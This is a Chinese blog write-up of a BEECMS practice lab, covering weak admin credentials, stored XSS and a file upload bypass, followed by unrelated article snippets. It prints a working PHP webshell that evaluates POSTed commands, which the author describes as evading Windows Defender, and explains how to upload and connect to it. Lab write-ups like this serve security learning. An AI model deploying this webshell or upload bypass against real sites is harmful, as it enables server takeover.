BEECMS靶场 -->漏洞挖掘

news2025/3/14 3:54:08

这几天,一天一个靶场(累鼠我啦),哈哈哈,也算是积累了不少经验,今天,我们就来讲一下BEECMS靶场吧!!!                                

先是直接进入到他的界面,可以观察到没有登录的界面,于是我们可以尝试以下在url拼接一个 /admin  , 结果成功爆出后台登录界面

http://192.168.154.152:666/admin

当当!!~~

1.弱口令(中危)

本来想着开个BP跑个字典的,但是让我没想到的是,两组admin我就进去了,嗯,一言难尽

                                               

2.存储型XSS(中危)

还是像SDCMS靶场一样,在普通的用户界面测试XSS测不出来

像这种留言板的,FUZZ过几下,手工过几下,都不行

于是这时候,我就瞄上了管理员的管理界面 (挖多了经验久有了)

构造一个XSS的POC,一试,果然成功力~~

所以啊,还是管理员的账号功能齐全,而且防范的还不严格!!挖洞还得是从管理员入手

只要你能进入后台,基本上都或多或少有一点收获

3.文件上传(高高危)

一进管理员界面,就立刻直奔文件上传的点,毕竟这个漏洞爆的金币才多呢!!

先是直接山传一张正常的图片,发现连正常的jpg,png都不给上传,更别说php

那没办法咯,那就只能上传别的格式试一下,结果发现,使用gif是能够上传成功的于是就来写木马吧(这个muma仅仅用于教育用途,禁止从事非法活动

<?php

class father{
function get(){

    return  $_POST['cmd'];
}
}

class son extends father{
    function __construct(){

        $code=parent::get();
        @eval($code);
} 
}

new son();
?>

来解释一下这个面向对象的木马:

  • 先是son这个类中,当其被创建的时候就会自动调用 __construct方法,去获得father这个类中的get方法的返回值,并且@eval去执行
  • 对于父类的get方法,就是返回一个 $_POST['cmd'] 这个也是一种常见的操作啦
  • 然后就是创建一个son的类,并主动调用__construct方法来实现执行一句话木马的目的

这种就是一种常见的面向对象免杀木马,不信,你可以在vscode中运行看一下你的windows defender会不会报毒                              ​​​​​​​        

然后就是上传文件了👌👌👌 修改一下content-type 再改一下木马的后缀

成功上传,并且再相应包中找到返回的路径(他的名字不再叫webshel了,但是.php后缀是不变的)

返回上以及目录,再将url拼接进去,然后就是蚁剑搜哈了

当然了,如果是真实场景还是不建议上传webshell,上传一个phpinfo就差不多了,毕竟:

                                                                      !! 点到为止!!

以上就是BEECMS的漏洞挖掘笔记了,我的感悟还是,打这种CMS的成就感还是比upload靶场的成就感强很多,毕竟,他和现实生活中的场景很相似吗(特别是当你挖到文件上传的时候,当时我都快跳起来了,哈哈,要是这是个真实的系统,那就赚大发了 @_#)!!!!

        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1337101.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MySQL——进阶篇

二、进阶篇&#x1f6a9; 1. 存储引擎&#x1f346; 1.1 MSQL体系结构 连接层&#xff1a; 连接处理&#xff0c;连接认证&#xff0c;每个客户端的权限 服务层&#xff1a; 绝大部分核心功能&#xff0c;可跨存储引擎 可插拔存储引擎&#xff1a; 需要的时候可以添加或拔掉…

【Vue】computed详解

✨ 专栏介绍 在当今Web开发领域中&#xff0c;构建交互性强、可复用且易于维护的用户界面是至关重要的。而Vue.js作为一款现代化且流行的JavaScript框架&#xff0c;正是为了满足这些需求而诞生。它采用了MVVM架构模式&#xff0c;并通过数据驱动和组件化的方式&#xff0c;使…

实习课知识整理3:首页商品列表的展示

对于一个购物商城的项目&#xff0c;主体还得是商品&#xff0c;这篇博客主要介绍如何将数据库中的信息渲染到页面上&#xff0c;这边后端是SpringBoot,前端是html配合thymeleaf模板 1. 编写查询数据库的方法 在这边我在页面上需要两部分的信息&#xff0c;一个是所有的商品&am…

1233. 全球变暖(bfs宽搜相邻点)

题目&#xff1a; 1233. 全球变暖 - AcWing题库 思路&#xff1a;bfs 1.临接问题&#xff0c;最短路径问题--->bfs。 2.被完全淹没--->岛屿所以部分均临海。 代码&#xff1a; #include<bits/stdc.h> using namespace std; const int N1010; struct Point …

Leetcode---376周赛---中位数贪心

题目列表 2965. 找出缺失和重复的数字 2966. 划分数组并满足最大差限制 2967. 使数组成为等数数组的最小代价 2968. 执行操作使频率分数最大 一、找到缺失和重复的数字 由于数据范围不是很大&#xff0c;可以直接暴力统计每个数字出现的次数&#xff0c;时间复杂度为O(n^2…

Linux系统--账号和权限管理

目录 一、Linux安全模型 二、用户账号和组账号 2.1 用户帐号类型 2.2 组账号 2.3 用户和组的关系 三、两个重要文件夹 3.1 用户账号文件/etc/passwd 3.2 /etc/shadow 四、用户命令 4.1 useradd命令——添加用户 4.2 passwd命令——密码管理 4.3 usermod命令—…

【OO ALV实现合并行和列】

需求场景 做了一个FUNCTION ALV&#xff0c;按行展示&#xff0c;但是用户需要做一个转置&#xff0c;前面列按行显示&#xff0c;后面数量列由按列显示调整为按行显示。查了一下&#xff0c;好像是FUNCTION ALV实现不了&#xff0c;参考了一位博主实现了这个需求。 ABAP ALV多…

运维工程师的出路到底在哪里?—— 浅谈运维工程师前景

目录 前言 一、运维工程师的职责 二、能力要求 &#xff08;一&#xff09;技术方面 &#xff08;二&#xff09;管理方面 &#xff08;三&#xff09;业务方面 三、35岁被称为运维半衰期&#xff0c;究竟为何&#xff1f; 四、该如何顺利过渡半衰期 五、运维的职业发…

(更新)上市公司研发与创新补助数据合集(2007-2022年)

数据简介&#xff1a; 数据来源&#xff1a;原始数据来源于上市公司年报时间跨度&#xff1a;2008-2022年数据范围&#xff1a;3400家上市企业数据展示&#xff1a; 初始数据&#xff1a; Stkcdyear说明金额0000042008政府补助利得644000000052008合计644000000062009政府补…

Zookeeper在分布式命名服务中的实践

Java学习面试指南&#xff1a;https://javaxiaobear.cn 命名服务是为系统中的资源提供标识能力。ZooKeeper的命名服务主要是利用ZooKeeper节点的树形分层结构和子节点的顺序维护能力&#xff0c;来为分布式系统中的资源命名。 哪些应用场景需要用到分布式命名服务呢&#xff1…

RHCE9学习指南 第10章 ACL权限

10.1 ACL介绍及基本用法 前面讲权限时是对u、u、o来设置权限的。假如有如图10-1所示的需求。 图10-1 为三个用户设置权限 有一个目录aa&#xff0c;要求tom、bob、mary具有不同的权限&#xff0c;利用前面讲过的知识是完全可以实现的。 所有者设置为tom&#xff0c;把所有者权…

维修服务企业网站建设的作用是什么

市场对维修服务的需求很大&#xff0c;但同样市场中相关的维修服务公司也不少&#xff0c;尤其当线下用户难获取时&#xff0c;各大企业都想要通过线上实现品牌曝光、拓客及展示内容服务等&#xff0c;行业竞争激烈&#xff0c;而线上入驻第三方平台&#xff0c;不仅处处受限&a…

破局:疯狂2+1商业模式玩法,顺联动力新零售百亿架构模型

破局&#xff1a;疯狂21商业模式玩法&#xff0c;顺联动力新零售百亿架构模型 大家好&#xff01;我是微三云营销总监胡佳东&#xff0c;私域电商模式策划师&#xff01; 引言&#xff1a;2023年是重新拥抱世界的一年&#xff0c;现在大多数的年轻人&#xff0c;不在被传统的…

精品Nodejs实现的微信小程序的运动减肥管理系统设计与实现菜谱美食健康

《[含文档PPT源码等]精品Nodejs实现的微信小程序的运动减肥管理系统设计与实现[包运行成功]》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功&#xff01; 软件开发环境及开发工具&#xff1a; 操作系统&#xff1a;Windows 10、Windows …

【网络安全 | 网络协议】结合Wireshark讲解HTTP协议

前言 超文本传输协议&#xff08;Hypertext Transfer Protocol&#xff0c;HTTP&#xff09;是一个简单的请求-响应协议&#xff0c;它指定了客户端可能发送给服务器什么样的消息以及得到什么样的响应。 文章目录 前言HTTP协议Wireshark抓包分析 HTTP协议在Wireshark数据包中是…

[沫忘录] Docker容器

[沫忘录] Docker容器 启动和校验 #启动Docker systemctl start docker#停止Docker systemctl stop docker#重启Docker systemctl restart docker service docker restart#使Docker开机自启 systemctl enable docker#执行docker ps命令&#xff0c;可以用来检验安装启动成功 d…

Windows基于Mingw编译安装FLTK

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、FLTK是什么&#xff1f;二、下载源代码三、准备编译环境四、导入项目到Clion五、修改Cmake配置1.src/CMakeLists.txt2.Cmake/options.cmake3.CMakeLists.tx…

Isaac Sim 仿真机器人urdf文件导入

本教程展示如何在 Omniverse Isaac Sim 中导入 urdf 一. 使用内置插件导入urdf 安装urdf 插件 方法是转到“window”->“Extensions” 搜索框中输入urdf, 并启用 通过转至Isaac Utils -> Workflows -> URDF Importer菜单来访问 urdf 扩展。 表格中的 1,2,3 对应着…

【六】【C语言\动态规划】买卖股票的最佳时机含手续费、买卖股票的最佳时机 III、买卖股票的最佳时机 IV,三道题目深度解析

动态规划 动态规划就像是解决问题的一种策略&#xff0c;它可以帮助我们更高效地找到问题的解决方案。这个策略的核心思想就是将问题分解为一系列的小问题&#xff0c;并将每个小问题的解保存起来。这样&#xff0c;当我们需要解决原始问题的时候&#xff0c;我们就可以直接利…

毕设之-消息系统设计(websocket+netty)

文章目录 前言技术选型基本架构 前言 long time no see。 前几天去一家小公司待了待&#xff0c;果断还是选择跑路&#xff0c;第三天就去另一家公司考察环境&#xff0c;和主管聊了两个多小时&#xff0c;非常愉快&#xff0c;就是单位薪资砍了一半。哎&#xff0c;旧事莫提了…